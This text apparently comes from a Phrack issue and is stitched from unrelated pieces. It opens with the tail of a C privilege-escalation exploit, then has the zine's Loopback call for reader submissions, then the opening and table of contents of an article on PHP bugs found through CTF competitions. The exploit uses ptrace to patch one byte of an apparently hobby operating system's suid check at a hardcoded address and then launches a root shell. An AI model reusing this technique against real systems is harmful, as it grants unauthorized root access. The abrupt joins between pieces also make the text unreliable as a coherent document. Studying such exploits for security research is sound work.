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#include <errno.h>
#include <string.h>
#include <signal.h>
#include <ctype.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/signal_defs.h>
#include <syscall_nums.h>
int main(int argc, char** argv)
{
printf("[+] Starting exploit\n");
pid_t c_pid = fork();
if(c_pid<0)
{
printf("[-] Couldn't fork\n");
return -1;
}
// Child
if(c_pid==0)
{
//attaching debugger so we can ptrace_poke
if(ptrace(PTRACE_TRACEME,0,NULL,NULL))
{
return -1;
}
signal(SIGINT, SIG_IGN);
return 0;
}
int status = 0;
waitpid(c_pid, &status, WSTOPPED);
printf("[+] Child stopped as expected\n");
printf("[+] Replacing suid check\n");
char data[4];
//diff between jnz and je
data[0] = 0x84;
//jmp after compare in elf_exec for suid check
void* target = 0x0010f365+1;
int ret = ptrace(PTRACE_POKEDATA, c_pid, target, &data[0]);
if(ret<0)
{
perror("ptrace");
return -1;
}
printf("[+] Should have broken check, get root shell\n");
char *n_argv[] = {"/bin/esh",NULL};
execve("/bin/esh", n_argv,NULL);
}
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x10, Issue 0x48, Phile #0x04 of 0x12
|=-----------------------------------------------------------------------=|
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
|=-----------------------------------------------------------------------=|
Since we got a chance to see you all IRL for our physical release, we want
to give some time for people to talk to the community via loopback.
Send us stories, feedback, and other funny stuff to loopback@phrack.org!
Some prompts:
- How has Phrack inspired you?
- What did you think of this release?
- What is your message to hackers of the future?
- Do you have any questions for us?
- Have you found any neat things you don't know where else to share?
This of this as Phrack's yearbook or birthday card!
We will publish our favorite submissions a week or so after the online
release comes out. Write to us and check back here later! Make sure to
put ANTISPAM in the the subject line or we won't see it <3
|=-----------------------------------------------------------------------=|
|=-------=[ The Art of PHP - My CTF Journey and Untold Stories! ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ by Orange Tsai <orange@CHROOT.org> ]=---------------=|
|=-----------------------------------------------------------------------=|
--[ Table of Contents
> Prologue
- About Me
- Hacking Competitions
- Being a Pro CTF Gamer
- How About PHP Security?
> Main
1. Reviving Forgotten Bugs Through CTF
1.1 - Formatting Objects for Fun and Profit!
1.2 - When Security Features Make You Less Secure